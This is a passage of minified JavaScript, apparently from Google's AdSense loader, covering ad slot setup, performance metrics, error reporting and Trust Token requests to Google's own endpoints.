pn(a){switch(a){case "true":return!0;case "false":return!1;case "null":return null;case "undefined":break;default:try{var b=a.match(/^(?:'(.*)'|"(.*)")$/);if(b)return b[1]||b[2]||"";if(/^[-+]?\d*(\.\d+)?$/.test(a)){var c=parseFloat(a);return c===c?c:void 0}}catch(d){}}};function qn(a){if(a.google_ad_client)return String(a.google_ad_client);var b,c,d,e,f;if(null!=(e=null!=(d=null==(b=U(a).head_tag_slot_vars)?void 0:b.google_ad_client)?d:null==(c=a.document.querySelector(".adsbygoogle[data-ad-client]"))?void 0:c.getAttribute("data-ad-client")))b=e;else{b:{b=a.document.getElementsByTagName("script");a=a.navigator&&a.navigator.userAgent||"";a=RegExp("appbankapppuzdradb|daumapps|fban|fbios|fbav|fb_iab|gsa/|messengerforios|naver|niftyappmobile|nonavigation|pinterest|twitter|ucbrowser|yjnewsapp|youtube", "i").test(a)||/i(phone|pad|pod)/i.test(a)&&/applewebkit/i.test(a)&&!/version|safari/i.test(a)&&!qd()?nn:on;for(c=b.length-1;0<=c;c--)if(d=b[c],!d.google_parsed_script_for_pub_code&&(d.google_parsed_script_for_pub_code=!0,d=a(d))){b=d;break b}b=null}if(b){a=/(google_\w+) *= *(['"]?[\w.-]+['"]?) *(?:;|$)/gm;for(c={};d=a.exec(b);)c[d[1]]=pn(d[2]);b=c.google_ad_client?c.google_ad_client:""}else b=""}return null!=(f=b)?f:""};var rn="undefined"===typeof sttc?void 0:sttc;function sn(a){var b=Ui;try{return Yf(a,Zf),new Rk(JSON.parse(a))}catch(c){b.I(838,c instanceof Error?c:Error(String(c)),void 0,function(d){d.jspb=String(a)})}return new Rk};var tn=O(yf).h(mf.h,mf.defaultValue);function un(){var a=L.document;a=void 0===a?window.document:a;ed(tn,a)};var vn=O(yf).h(nf.h,nf.defaultValue);function wn(){var a=L.document;a=void 0===a?window.document:a;ed(vn,a)};var xn=ja(["https://pagead2.googlesyndication.com/pagead/js/err_rep.js"]);function yn(){this.h=null;this.j=!1;this.l=Math.random();this.i=this.I;this.m=null}n=yn.prototype;n.Ta=function(a){this.h=a};n.Va=function(a){this.j=a};n.Ua=function(a){this.i=a}; n.I=function(a,b,c,d,e){if((this.j?this.l:Math.random())>(void 0===c?.01:c))return!1;Rh(b)||(b=new Qh(b,{context:a,id:void 0===e?"jserror":e}));if(d||this.h)b.meta={},this.h&&this.h(b.meta),d&&d(b.meta);w.google_js_errors=w.google_js_errors||[];w.google_js_errors.push(b);if(!w.error_rep_loaded){a=nd(xn);var f;Lc(w.document,null!=(f=this.m)?f:hc(qc(a).toString()));w.error_rep_loaded=!0}return!1};n.oa=function(a,b,c){try{return b()}catch(d){if(!this.i(a,d,.01,c,"jserror"))throw d;}}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})};function zn(a,b,c){var d=window;return function(){var e=Yh(),f=3;try{var g=b.apply(this,arguments)}catch(h){f=13;if(c)return c(a,h),g;throw h;}finally{d.google_measure_js_timing&&e&&(e={label:a.toString(),value:e,duration:(Yh()||0)-e,type:f},f=d.google_js_reporting_queue=d.google_js_reporting_queue||[],2048>f.length&&f.push(e))}return g}}function An(a,b){return zn(a,b,function(c,d){(new yn).I(c,d)})};function Bn(a,b){return null==b?"&"+a+"=null":"&"+a+"="+Math.floor(b)}function Cn(a,b){return"&"+a+"="+b.toFixed(3)}function Dn(){var a=new p.Set,b=aj();try{if(!b)return a;for(var c=b.pubads(),d=u(c.getSlots()),e=d.next();!e.done;e=d.next())a.add(e.value.getSlotId().getDomId())}catch(f){}return a}function En(a){a=a.id;return null!=a&&(Dn().has(a)||r(a,"startsWith").call(a,"google_ads_iframe_")||r(a,"startsWith").call(a,"aswift"))} function Fn(a,b,c){if(!a.sources)return!1;switch(Gn(a)){case 2:var d=Hn(a);if(d)return c.some(function(f){return In(d,f)});case 1:var e=Jn(a);if(e)return b.some(function(f){return In(e,f)})}return!1}function Gn(a){if(!a.sources)return 0;a=a.sources.filter(function(b){return b.previousRect&&b.currentRect});if(1<=a.length){a=a[0];if(a.previousRect.top<a.currentRect.top)return 2;if(a.previousRect.top>a.currentRect.top)return 1}return 0}function Jn(a){return Kn(a,function(b){return b.currentRect})} function Hn(a){return Kn(a,function(b){return b.previousRect})}function Kn(a,b){return a.sources.reduce(function(c,d){d=b(d);return c?d&&0!==d.width*d.height?d.top<c.top?d:c:c:d},null)} function Ln(){Mj.call(this);this.i=this.h=this.P=this.O=this.H=0;this.Ba=this.ya=Number.NEGATIVE_INFINITY;this.ua=this.wa=this.xa=this.za=this.Ea=this.m=this.Da=this.U=0;this.va=!1;this.R=this.N=this.C=0;var a=document.querySelector("[data-google-query-id]");this.Ca=a?a.getAttribute("data-google-query-id"):null;this.l=null;this.Aa=!1;this.ga=function(){}}v(Ln,Mj); function Mn(){var a=new Ln;if(P(of)){var b=window;if(!b.google_plmetrics&&window.PerformanceObserver){b.google_plmetrics=!0;b=u(["layout-shift","largest-contentful-paint","first-input","longtask"]);for(var c=b.next();!c.done;c=b.next())c=c.value,Nn(a).observe({type:c,buffered:!0});On(a)}}} function Nn(a){a.l||(a.l=new PerformanceObserver(An(640,function(b){var c=Pn!==window.scrollX||Qn!==window.scrollY?[]:Rn,d=Sn();b=u(b.getEntries());for(var e=b.next();!e.done;e=b.next())switch(e=e.value,e.entryType){case "layout-shift":var f=a;if(!e.hadRecentInput){f.H+=Number(e.value);Number(e.value)>f.O&&(f.O=Number(e.value));f.P+=1;var g=Fn(e,c,d);g&&(f.m+=e.value,f.za++);if(5E3<e.startTime-f.ya||1E3<e.startTime-f.Ba)f.ya=e.startTime,f.h=0,f.i=0;f.Ba=e.startTime;f.h+=e.value;g&&(f.i+=e.value); f.h>f.U&&(f.U=f.h,f.Ea=f.i,f.Da=e.startTime+e.duration)}break;case "largest-contentful-paint":a.xa=Math.floor(e.renderTime||e.loadTime);a.wa=e.size;break;case "first-input":a.ua=Number((e.processingStart-e.startTime).toFixed(3));a.va=!0;break;case "longtask":e=Math.max(0,e.duration-50),a.C+=e,a.N=Math.max(a.N,e),a.R+=1}})));return a.l} function On(a){var b=An(641,function(){var d=document;2==(d.prerendering?3:{visible:1,hidden:2,prerender:3,preview:4,unloaded:5}[d.visibilityState||d.webkitVisibilityState||d.mozVisibilityState||""]||0)&&Tn(a)}),c=An(641,function(){return void Tn(a)});document.addEventListener("visibilitychange",b);document.addEventListener("unload",c);a.ga=function(){document.removeEventListener("visibilitychange",b);document.removeEventListener("unload",c);Nn(a).disconnect()}} Ln.prototype.j=function(){Mj.prototype.j.call(this);this.ga()}; function Tn(a){if(!a.Aa){a.Aa=!0;Nn(a).takeRecords();var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=plmetrics";window.LayoutShift&&(b+=Cn("cls",a.H),b+=Cn("mls",a.O),b+=Bn("nls",a.P),window.LayoutShiftAttribution&&(b+=Cn("cas",a.m),b+=Bn("nas",a.za)),b+=Cn("wls",a.U),b+=Cn("tls",a.Da),window.LayoutShiftAttribution&&(b+=Cn("was",a.Ea)));window.LargestContentfulPaint&&(b+=Bn("lcp",a.xa),b+=Bn("lcps",a.wa));window.PerformanceEventTiming&&a.va&&(b+=Bn("fid",a.ua));window.PerformanceLongTaskTiming&& (b+=Bn("cbt",a.C),b+=Bn("mbt",a.N),b+=Bn("nlt",a.R));for(var c=0,d=u(document.getElementsByTagName("iframe")),e=d.next();!e.done;e=d.next())En(e.value)&&c++;b+=Bn("nif",c);b+=Bn("ifi",pd(window));c=O(Oh).h();b+="&eid="+encodeURIComponent(c.join());b+="&top="+(w===w.top?1:0);b+=a.Ca?"&qqid="+encodeURIComponent(a.Ca):Bn("pvsid",fd(w));window.googletag&&(b+="&gpt=1");window.fetch(b,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"});a.A||(a.A=!0,a.j())}} function In(a,b){var c=Math.min(a.right,b.right)-Math.max(a.left,b.left);a=Math.min(a.bottom,b.bottom)-Math.max(a.top,b.top);return 0>=c||0>=a?!1:50<=100*c*a/((b.right-b.left)*(b.bottom-b.top))} function Sn(){var a=[].concat(ka(document.getElementsByTagName("iframe"))).filter(En),b=[].concat(ka(Dn())).map(function(c){return document.getElementById(c)}).filter(function(c){return null!==c});Pn=window.scrollX;Qn=window.scrollY;return Rn=[].concat(ka(a),ka(b)).map(function(c){return c.getBoundingClientRect()})}var Pn=void 0,Qn=void 0,Rn=[];var X={issuerOrigin:"https://attestation.android.com",issuancePath:"/att/i",redemptionPath:"/att/r"},Y={issuerOrigin:"https://pagead2.googlesyndication.com",issuancePath:"/dtt/i",redemptionPath:"/dtt/r",getStatePath:"/dtt/s"};var Un=O(yf).h(wf.h,wf.defaultValue); function Vn(a,b,c){Mj.call(this);var d=this;this.i=a;this.h=[];b&&Wn()&&this.h.push(X);c&&this.h.push(Y);if(document.hasTrustToken&&!P(tf)){var e=new p.Map;this.h.forEach(function(f){e.set(f.issuerOrigin,{issuerOrigin:f.issuerOrigin,state:d.i?1:12,hasRedemptionRecord:!1})});window.goog_tt_state_map=window.goog_tt_state_map&&window.goog_tt_state_map instanceof p.Map?new p.Map([].concat(ka(e),ka(window.goog_tt_state_map))):e;window.goog_tt_promise_map&&window.goog_tt_promise_map instanceof p.Map||(window.goog_tt_promise_map= new p.Map)}}v(Vn,Mj);function Wn(){var a=void 0===a?window:a;a=a.navigator.userAgent;var b=/Chrome/.test(a);return/Android/.test(a)&&b}function Xn(){var a=void 0===a?window.document:a;ed(Un,a)}function Yn(a,b){return a||".google.ch"===b||"function"===typeof L.__tcfapi}function Z(a,b,c){var d,e=null==(d=window.goog_tt_state_map)?void 0:d.get(a);e&&(e.state=b,void 0!=c&&(e.hasRedemptionRecord=c))} function Zn(){var a=X.issuerOrigin+X.redemptionPath,b={keepalive:!0,trustToken:{type:"token-redemption",issuer:X.issuerOrigin,refreshPolicy:"none"}};Z(X.issuerOrigin,2);return window.fetch(a,b).then(function(c){if(!c.ok)throw Error(c.status+": Network response was not ok!");Z(X.issuerOrigin,6,!0)}).catch(function(c){c&&"NoModificationAllowedError"===c.name?Z(X.issuerOrigin,6,!0):Z(X.issuerOrigin,5)})} function $n(){var a=X.issuerOrigin+X.issuancePath;Z(X.issuerOrigin,8);return window.fetch(a,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(b){if(!b.ok)throw Error(b.status+": Network response was not ok!");Z(X.issuerOrigin,10);return Zn()}).catch(function(b){if(b&&"NoModificationAllowedError"===b.name)return Z(X.issuerOrigin,10),Zn();Z(X.issuerOrigin,9)})}function ao(){Z(X.issuerOrigin,13);return document.hasTrustToken(X.issuerOrigin).then(function(a){return a?Zn():$n()})} function bo(){Z(Y.issuerOrigin,13);if(p.Promise){var a=document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})}),b=Y.issuerOrigin+Y.redemptionPath,c={keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"none"}};Z(Y.issuerOrigin,16);a=a.then(function(e){return window.fetch(b,c).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,18,!0)}).catch(function(f){if(f&&"NoModificationAllowedError"=== f.name)Z(Y.issuerOrigin,18,!0);else{if(e)return p.Promise.reject({state:17,error:f});Z(Y.issuerOrigin,17)}})}).then(function(){return document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})})}).then(function(e){var f=Y.issuerOrigin+Y.getStatePath;Z(Y.issuerOrigin,20);return window.fetch(f+"?ht="+e,{trustToken:{type:"send-redemption-record",issuers:[Y.issuerOrigin]}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!"); Z(Y.issuerOrigin,22);return g.text().then(function(h){return JSON.parse(h)})}).catch(function(g){return p.Promise.reject({state:21,error:g})})});var d=fd(window);return a.then(function(e){var f=Y.issuerOrigin+Y.issuancePath;return e&&e.srqt&&e.cs?(Z(Y.issuerOrigin,23),window.fetch(f+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!");Z(Y.issuerOrigin,25);return e}).catch(function(g){return p.Promise.reject({state:24, error:g})})):e}).then(function(e){if(e&&e.srdt&&e.cs)return Z(Y.issuerOrigin,26),window.fetch(b+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"refresh"}}).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,28,!0)}).catch(function(f){return p.Promise.reject({state:27,error:f})})}).then(function(){Z(Y.issuerOrigin,29)}).catch(function(e){if(e instanceof Object&&e.hasOwnProperty("state")&&e.hasOwnProperty("error"))if("number"=== typeof e.state&&e.error instanceof Error){Z(Y.issuerOrigin,e.state);var f=Q(vf);Math.random()<=f&&Ff({state:e.state,err:e.error.toString()})}else throw Error(e);else throw e;})}} function co(a){if(document.hasTrustToken&&!P(tf)&&a.i){var b=window.goog_tt_promise_map;if(b&&b instanceof p.Map){var c=[];if(a.h.some(function(e){return e.issuerOrigin===X.issuerOrigin})){var d=b.get(X.issuerOrigin);d||(d=ao(),b.set(X.issuerOrigin,d));c.push(d)}a.h.some(function(e){return e.issuerOrigin===Y.issuerOrigin})&&(a=b.get(Y.issuerOrigin),a||(a=bo(),b.set(Y.issuerOrigin,a)),c.push(a));if(0<c.length&&p.Promise&&p.Promise.all)return p.Promise.all(c)}}};function eo(a){J.call(this,a,-1,fo)}v(eo,J);function go(a,b){return B(a,2,b)}function ho(a,b){return B(a,3,b)}function io(a,b){return B(a,4,b)}function jo(a,b){return B(a,5,b)}function ko(a,b){return B(a,9,b)}function lo(a,b){return Gb(a,10,b)}function mo(a,b){return B(a,11,b)}function no(a,b){return B(a,1,b)}function oo(a){J.call(this,a)}v(oo,J);oo.prototype.getVersion=function(){return I(this,2)};var fo=[10,6];var po="platform platformVersion architecture model uaFullVersion bitness fullVersionList wow64".split(" ");function qo(){var a;return null!=(a=L.google_tag_data)?a:L.google_tag_data={}} function ro(){var a,b;if("function"!==typeof(null==(a=L.navigator)?void 0:null==(b=a.userAgentData)?void 0:b.getHighEntropyValues))return null;var c=qo();if(c.uach_promise)return c.uach_promise;a=L.navigator.userAgentData.getHighEntropyValues(po).then(function(d){null!=c.uach||(c.uach=d);return d});return c.uach_promise=a} function so(a){var b;return mo(lo(ko(jo(io(ho(go(no(new eo,a.platform||""),a.platformVersion||""),a.architecture||""),a.model||""),a.uaFullVersion||""),a.bitness||""),(null==(b=a.fullVersionList)?void 0:b.map(function(c){var d=new oo;d=B(d,1,c.brand);return B(d,2,c.version)}))||[]),a.wow64||!1)} function to(){if(P(pf)){var a,b;return null!=(b=null==(a=ro())?void 0:a.then(function(f){return so(f)}))?b:null}var c,d;if("function"!==typeof(null==(c=L.navigator)?void 0:null==(d=c.userAgentData)?void 0:d.getHighEntropyValues))return null;var e;return null!=(e=L.navigator.userAgentData.getHighEntropyValues(po).then(function(f){return so(f)}))?e:null};function uo(a,b){b.google_ad_host||(a=vo(a))&&(b.google_ad_host=a)}function wo(a,b,c){c=void 0===c?"":c;L.google_sa_impl&&!L.document.getElementById("google_shimpl")&&(delete L.google_sa_queue,delete L.google_sa_impl);L.google_sa_queue||(L.google_sa_queue=[],L.google_process_slots=Xi(215,function(){return xo(L.google_sa_queue)}),a=yo(c,a,b),Lc(L.document,a).id="google_shimpl")} function xo(a){var b=a.shift();"function"===typeof b&&Wi(216,b);a.length&&w.setTimeout(Xi(215,function(){return xo(a)}),0)}function zo(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)} function yo(a,b,c){var d=Math.random()<Q(bf)?hc(qc(b.pb).toString()):null;b=D(c,4)?b.ob:b.qb;d=d?d:hc(qc(b).toString());b={};a:{if(D(c,4)){if(c=a||qn(L)){var e={};c=(e.client=c,e.plah=L.location.host,e);break a}throw Error("PublisherCodeNotFoundForAma");}c={}}Ao(c,b);a:{if(P($e)||P(Oe)){a=a||qn(L);var f;var g=(c=null==(g=U(L))?void 0:null==(f=g.head_tag_slot_vars)?void 0:f.google_ad_host)?c:vo(L);if(a){f={};g=(f.client=a,f.plah=L.location.host,f.ama_t="adsense",f.asntp=Q(Ge),f.asntpv=Q(Ke),f.asntpl= Q(Ie),f.asntpm=Q(Je),f.asntpc=Q(He),f.asna=Q(Ce),f.asnd=Q(De),f.asnp=Q(Ee),f.asns=Q(Fe),f.asmat=Q(Be),f.asptt=Q(Le),f.easpi=P($e),f.asro=P(Me),f.host=g,f.easai=P(Ze),f);break a}}g={}}Ao(g,b);Ao(zf()?{bust:zf()}:{},b);return ec(d,b)}function Ao(a,b){Sc(a,function(c,d){void 0===b[d]&&(b[d]=c)})}function vo(a){if(a=a.document.querySelector('meta[name="google-adsense-platform-account"]'))return a.getAttribute("content")} function Bo(a){a:{var b=void 0===b?!1:b;var c=void 0===c?1024:c;for(var d=[w.top],e=[],f=0,g;g=d[f++];){b&&!Hc(g)||e.push(g);try{if(g.frames)for(var h=0;h<g.frames.length&&d.length<c;++h)d.push(g.frames[h])}catch(l){}}for(b=0;b<e.length;b++)try{var k=e[b].frames.google_esf;if(k){id=k;break a}}catch(l){}id=null}if(id)return null;e=Mc("IFRAME");e.id="google_esf";e.name="google_esf";e.src=sc(a.vb);e.style.display="none";return e} function Co(a,b,c,d){Do(a,b,c,d,function(e,f){e=e.document;for(var g=void 0,h=0;!g||e.getElementById(g+"_anchor");)g="aswift_"+h++;e=g;g=Number(f.google_ad_width||0);f=Number(f.google_ad_height||0);h=Mc("INS");h.id=e+"_anchor";pm(h,g,f);h.style.display="block";var k=Mc("INS");k.id=e+"_expand";pm(k,g,f);k.style.display="inline-table";k.appendChild(h);c.appendChild(k);return e})} function Do(a,b,c,d,e){e=e(a,b);Eo(a,c,b);c=Ia;var f=(new Date).getTime();b.google_lrv=I(d,2);b.google_async_iframe_id=e;b.google_start_time=c;b.google_bpp=f>c?f-c:1;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[e]=b;d=a.document.getElementById(e+"_anchor")?function(h){return h()}:function(h){return window.setTimeout(h,0)};var g={pubWin:a,vars:b};zo(a,function(){var h=a.google_sa_impl(g);h&&h.catch&&Zi(911,h)},d)} function Eo(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!qm[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if("number"!==typeof c.google_reactive_sra_index||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width, c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=Tc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,l=0,m=0;m<k.length;++m){var q=k[m];if(q.nodeName&&q.nodeName.toString().toLowerCase()=== g){if(b===q){g="."+l;break a}++l}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var t=a.parent;for(e=0;t&&t!==a&&25>e;++e){var y=t.frames;for(d=0;d<y.length;++d)if(a===y[d]){b.push(d);break}a=t;t=a.parent}}catch(F){}c.google_ad_dom_fingerprint=Tc(h+b.join()).toString()}}function Fo(){var a=Ic(w);a&&(a=Uf(a),a.tagSpecificState[1]||(a.tagSpecificState[1]={debugCard:null,debugCardRequested:!1}))} function Go(a){Xn();Yn(Wk(),I(a,8))||Xi(779,function(){var b=window;b=void 0===b?window:b;b=P(b.PeriodicSyncManager?rf:sf);var c=P(uf);b=new Vn(!0,b,c);0<Q(xf)?L.google_trust_token_operation_promise=co(b):co(b)})();a=to();null!=a&&a.then(function(b){L.google_user_agent_client_hint=Lb(b)});wn();un()};function Ho(a,b){switch(a){case "google_reactive_ad_format":return a=parseInt(b,10),isNaN(a)?0:a;case "google_allow_expandable_ads":return/^true$/.test(b);default:return b}} function Io(a,b){if(a.getAttribute("src")){var c=a.getAttribute("src")||"";(c=Gc(c))&&(b.google_ad_client=Ho("google_ad_client",c))}a=a.attributes;c=a.length;for(var d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ja(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));b.hasOwnProperty(f)||(e=Ho(f,e.value),null!==e&&(b[f]=e))}}} function Jo(a){if(a=ld(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12} function Ko(a,b,c,d){Io(a,b);if(c.document&&c.document.body&&!Zm(c,b)&&!b.google_reactive_ad_format){var e=parseInt(a.style.width,10),f=cn(a,c);if(0<f&&e>f){var g=parseInt(a.style.height,10);e=!!qm[e+"x"+g];var h=f;if(e){var k=rm(f,g);if(k)h=k,b.google_ad_format=k+"x"+g+"_0ads_al";else throw new T("No slot size for availableWidth="+f);}b.google_ad_resize=!0;b.google_ad_width=h;e||(b.google_ad_format=null,b.google_override_format=!0);f=h;a.style.width=f+"px";g=Tm(f,"auto",c,a,b);h=f;g.size().i(c,b, a);Dm(g,h,b);g=g.size();b.google_responsive_formats=null;g.minWidth()>f&&!e&&(b.google_ad_width=g.minWidth(),a.style.width=g.minWidth()+"px")}}e=a.offsetWidth||xi(a,c,"width",K)||b.google_ad_width||0;f=Fa(Tm,e,"auto",c,a,b,!1,!0);if(!P(Xe)&&488>Wf(c)){g=Ic(c)||c;h=b.google_ad_client;d=g.location&&"#ftptohbh"===g.location.hash?2:yl(g.location,"google_responsive_slot_preview")||P(ef)?1:P(df)?2:Yk(g,1,h,d)?1:0;if(g=0!==d)b:if(b.google_reactive_ad_format||Zm(c,b)||mi(a,b))g=!1;else{for(g=a;g;g=g.parentElement){h= Nc(g,c);if(!h){b.gfwrnwer=18;g=!1;break b}if(!Xa(["static","relative"],h.position)){b.gfwrnwer=17;g=!1;break b}}g=qi(c,a,e,.3,b);!0!==g?(b.gfwrnwer=g,g=!1):g=c===c.top?!0:!1}g?(b.google_resizing_allowed=!0,b.ovlp=!0,2===d?(d={},Dm(f(),e,d),b.google_resizing_width=d.google_ad_width,b.google_resizing_height=d.google_ad_height,b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1),d=!0):d=!1}else d=!1;if(e=Zm(c,b))an(e,a,b,c,d);else{if(mi(a,b)){if(d=Nc(a,c))a.style.width=d.width,a.style.height= d.height,li(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Jo(c)}else li(a.style,b);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive?an(10,a,b,c,!1):.01>Math.random()&&12===b.google_responsive_auto_format&&(a=ri(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer= a):b.efwr=!0)}};function Lo(a){this.j=new p.Set;this.u=md()||window;this.h=Q(ze);var b=0<this.h&&Rc()<1/this.h;this.A=(this.i=!!Hj(Dj(),30,b))?fd(this.u):0;this.m=this.i?qn(this.u):"";this.l=null!=a?a:new yg(100)}function Mo(){var a=O(Lo);var b=new qk;b=B(b,1,Vf(a.u).scrollWidth);b=B(b,2,Vf(a.u).scrollHeight);var c=new qk;c=B(c,1,Wf(a.u));c=B(c,2,Vf(a.u).clientHeight);var d=new sk;d=B(d,1,a.A);d=B(d,2,a.m);d=B(d,3,a.h);var e=new rk;b=Eb(e,2,b);b=Eb(b,1,c);b=Fb(d,4,tk,b);a.i&&!a.j.has(1)&&(a.j.add(1),ug(a.l,b))};function No(a){var b=window;var c=void 0===c?null:c;xc(b,"message",function(d){try{var e=JSON.parse(d.data)}catch(f){return}!e||"sc-cnf"!==e.googMsgType||c&&/[:|%3A]javascript\(/i.test(d.data)&&!c(e,d)||a(e,d)})};function Oo(a,b){b=void 0===b?500:b;Mj.call(this);this.i=a;this.ta=b;this.h=null;this.m={};this.l=null}v(Oo,Mj);Oo.prototype.j=function(){this.m={};this.l&&(yc(this.i,this.l),delete this.l);delete this.m;delete this.i;delete this.h;Mj.prototype.j.call(this)};function Po(a){Mj.call(this);this.h=a;this.i=null;this.l=!1}v(Po,Mj);var Qo=null,Ro=[],So=new p.Map,To=-1;function Uo(a){return Fi.test(a.className)&&"done"!=a.dataset.adsbygoogleStatus}function Vo(a,b,c){a.dataset.adsbygoogleStatus="done";Wo(a,b,c)} function Wo(a,b,c){var d=window;d.google_spfd||(d.google_spfd=Ko);var e=b.google_reactive_ads_config;e||Ko(a,b,d,c);uo(d,b);if(!Xo(a,b,d)){e||(d.google_lpabyc=ni(a,d)+xi(a,d,"height",K));if(e){e=e.page_level_pubvars||{};if(U(L).page_contains_reactive_tag&&!U(L).allow_second_reactive_tag){if(e.pltais){wl(!1);return}throw new T("Only one 'enable_page_level_ads' allowed per page.");}U(L).page_contains_reactive_tag=!0;wl(7===e.google_pgb_reactive)}b.google_unique_id=od(d);Sc(mn,function(f,g){b[g]=b[g]|| d[g]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(U(L).first_tag_on_page||0);Wi(164,function(){Co(d,b,a,c)})}} function Xo(a,b,c){var d=b.google_reactive_ads_config,e="string"===typeof a.className&&RegExp("(\\W|^)adsbygoogle-noablate(\\W|$)").test(a.className),f=ul(c);if(f&&f.Fa&&"on"!=b.google_adtest&&!e){e=ni(a,c);var g=Vf(c).clientHeight;if(!f.qa||f.qa&&((0==g?null:e/g)||0)>=f.qa)return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=za(a),b.google_element_uid=d,c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==f.tb&&(null!==Zc(a.getAttribute("width"))&& a.setAttribute("width",0),null!==Zc(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0}if((f=Nc(a,c))&&"none"==f.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format|| !a?!1:(w.console&&w.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function Yo(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(Uo(e)&&"reserved"!=e.dataset.adsbygoogleStatus&&(!a||d.id==a))return d}return null} function Zo(a,b,c){if(a&&a.shift)for(var d=20;0<a.length&&0<d;){try{$o(a.shift(),b,c)}catch(e){setTimeout(function(){throw e;})}--d}}function ap(){var a=Mc("INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";bd(a);return a} function bp(a,b){var c={};Sc(Rf,function(f,g){!1===a.enable_page_level_ads?c[g]=!1:a.hasOwnProperty(g)&&(c[g]=a[g])});ya(a.enable_page_level_ads)&&(c.page_level_pubvars=a.enable_page_level_ads);var d=ap();hd.body.appendChild(d);var e={};e=(e.google_reactive_ads_config=c,e.google_ad_client=a.google_ad_client,e);e.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(d,e,b)} function cp(a,b){function c(){return bp(a,b)}Uf(w).wasPlaTagProcessed=!0;var d=w.document;if(d.body||"complete"==d.readyState||"interactive"==d.readyState)c();else{var e=wc(Xi(191,c));xc(d,"DOMContentLoaded",e);(new w.MutationObserver(function(f,g){d.body&&(e(),g.disconnect())})).observe(d,{childList:!0,subtree:!0})}} function $o(a,b,c){var d={};Wi(165,function(){dp(a,d,b,c)},function(e){e.client=e.client||d.google_ad_client||a.google_ad_client;e.slotname=e.slotname||d.google_ad_slot;e.tag_origin=e.tag_origin||d.google_tag_origin})}function ep(a){delete a.google_checked_head;Sc(a,function(b,c){Ei[c]||(delete a[c],w.console.warn("AdSense head tag doesn't support "+c.replace("google","data").replace(/_/g,"-")+" attribute."))})} function fp(a,b){var c=L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]:not([data-checked-head])')||L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])');if(c){c.setAttribute("data-checked-head","true");var d=U(window);if(d.head_tag_slot_vars)gp(c);else{var e={};Io(c,e);ep(e);var f=$b(e);d.head_tag_slot_vars=f;c={google_ad_client:e.google_ad_client,enable_page_level_ads:e};L.adsbygoogle||(L.adsbygoogle=[]);d=L.adsbygoogle; d.loaded?d.push(c):d.splice(0,0,c);var g;e.google_adbreak_test||(null==(g=Ib(b,Fk,13,Uk))?0:D(g,3))&&P(jf)?hp(f,a):No(function(){hp(f,a)})}}}function gp(a){var 